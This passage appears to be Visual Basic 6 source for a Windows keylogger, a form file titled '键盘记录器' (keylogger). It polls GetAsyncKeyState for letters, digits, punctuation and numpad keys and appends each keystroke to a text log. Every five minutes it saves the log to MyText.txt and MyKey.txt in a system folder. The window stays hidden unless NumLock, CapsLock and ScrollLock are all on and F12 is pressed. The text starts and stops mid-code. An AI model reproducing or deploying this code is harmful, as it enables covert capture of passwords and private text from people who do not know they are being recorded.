frm_main.frm

键盘记录器

  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "("
  End If
End If
'0键
MyKey = GetAsyncKeyState(vbKey0)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "0"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + ")"
  End If
End If
'；键
MyKey = GetAsyncKeyState(&HBA)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + ";"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + ":"
  End If
End If
'，键
MyKey = GetAsyncKeyState(&HBC)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + ","
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "<"
  End If
End If
'．键
MyKey = GetAsyncKeyState(&HBE)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "."
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + ">"
  End If
End If
'/键
MyKey = GetAsyncKeyState(&HBF)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "/"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "?"
  End If
End If
'"键
MyKey = GetAsyncKeyState(&HDE)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "'"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + """"
  End If
End If
'[键
MyKey = GetAsyncKeyState(&HDB)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "["
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "{"
  End If
End If
']键
MyKey = GetAsyncKeyState(&HDD)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "]"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "}"
  End If
End If
'\键
MyKey = GetAsyncKeyState(&HDC)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "\"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "|"
  End If
End If
'-键
MyKey = GetAsyncKeyState(&HBD)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "-"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "_"
  End If
End If
'=键
MyKey = GetAsyncKeyState(&HBB)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "="
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "+"
  End If
End If
'｀键
MyKey = GetAsyncKeyState(&HC0)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "`"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "~"
  End If
End If
'>>>>>>>>>>>>>>>>>小键盘数字及符号
'*键
MyKey = GetAsyncKeyState(vbKeyMultiply)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "*"
End If
'/键
MyKey = GetAsyncKeyState(vbKeyDivide)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "/"
End If
'+键
MyKey = GetAsyncKeyState(vbKeyAdd)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "+"
End If
'-键
MyKey = GetAsyncKeyState(vbKeySubtract)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "-"
End If
'.键
MyKey = GetAsyncKeyState(vbKeyDecimal)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "."
End If
'1键
MyKey = GetAsyncKeyState(vbKeyNumpad1)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "1"
End If
'2键
MyKey = GetAsyncKeyState(vbKeyNumpad2)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "2"
End If
'3键
MyKey = GetAsyncKeyState(vbKeyNumpad3)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "3"
End If
'4键
MyKey = GetAsyncKeyState(vbKeyNumpad4)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "4"
End If
'5键
MyKey = GetAsyncKeyState(vbKeyNumpad5)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "5"
End If
'6键
MyKey = GetAsyncKeyState(vbKeyNumpad6)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "6"
End If
'7键
MyKey = GetAsyncKeyState(vbKeyNumpad7)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "7"
End If
'8键
MyKey = GetAsyncKeyState(vbKeyNumpad8)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "8"
End If
'9键
MyKey = GetAsyncKeyState(vbKeyNumpad9)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "9"
End If
'0键
MyKey = GetAsyncKeyState(vbKeyNumpad0)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "0"
End If
'每五分钟存盘一次
If Minute(Time) Mod 5 = 0 And SaveEd = True Then
  Rtxt_MyText.SaveFile Txt_SystemPath.Text & "\MyText.txt", 1
  Rtxt_MyKey.SaveFile Txt_SystemPath.Text & "\MyKey.txt", 1
  SaveEd = False
End If
If Minute(Time) Mod 5 <> 0 Then
  SaveEd = True   '防止重复存盘
End If
'如果在Numlock和Capslock和Scrolllock灯都亮的情况下，按下F12键则显示本窗体
If NumLock = 1 And CapsLock = 1 And ScrollLock = 1 And GetAsyncKeyState(vbKeyF12) <> 0 Then
Me.Visible = True
SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, Flags '窗口最前
End If
End Sub


Private Sub Timer2_Timer()

End Sub

Private Sub Time_Control_Timer()
CapsLock = GetKeyState(vbKeyCapital) 'CapsLock键状态
Shift = GetAsyncKeyState(vbKeyShift) 'Shift键状态
'<<<<<<<<<<<<<<<<<<<<编辑字母和数字键检测>>>>>>>>>>>>>>>显示在Rtxt_MyText
'>>>>>>>>>字母键
'A键
MyKey = GetAsyncKeyState(vbKeyA)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "A"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "a"
End If
End If
'B键
MyKey = GetAsyncKeyState(vbKeyB)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "B"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "b"
End If
End If
'C键
MyKey = GetAsyncKeyState(vbKeyC)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "C"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "c"
End If
End If
'D键
MyKey = GetAsyncKeyState(vbKeyD)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "D"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "d"
End If
End If
'E键
MyKey = GetAsyncKeyState(vbKeyE)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "E"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "e"
End If
End If
'F键
MyKey = GetAsyncKeyState(vbKeyF)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "F"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "f"
End If
End If
'G键
MyKey = GetAsyncKeyState(vbKeyG)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "G"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "g"
End If
End If
'H键
MyKey = GetAsyncKeyState(vbKeyH)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "H"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "h"
End If
End If
'I键
MyKey = GetAsyncKeyState(vbKeyI)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "I"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "i"
End If
End If
'J键
MyKey = GetAsyncKeyState(vbKeyJ)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "J"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "j"
End If
End If
'K键
MyKey = GetAsyncKeyState(vbKeyK)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "K"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "k"
End If
End If
'L键
MyKey = GetAsyncKeyState(vbKeyL)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "L"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "l"
End If
End If
'M键
MyKey = GetAsyncKeyState(vbKeyM)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "M"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "m"
End If
End If
'N键
MyKey = GetAsyncKeyState(vbKeyN)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "N"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "n"
End If
End If
'O键
MyKey = GetAsyncKeyState(vbKeyO)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "O"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "o"
End If
End If
'P键
MyKey = GetAsyncKeyState(vbKeyP)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "P"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "p"
End If
End If
'Q键
MyKey = GetAsyncKeyState(vbKeyQ)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "Q"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then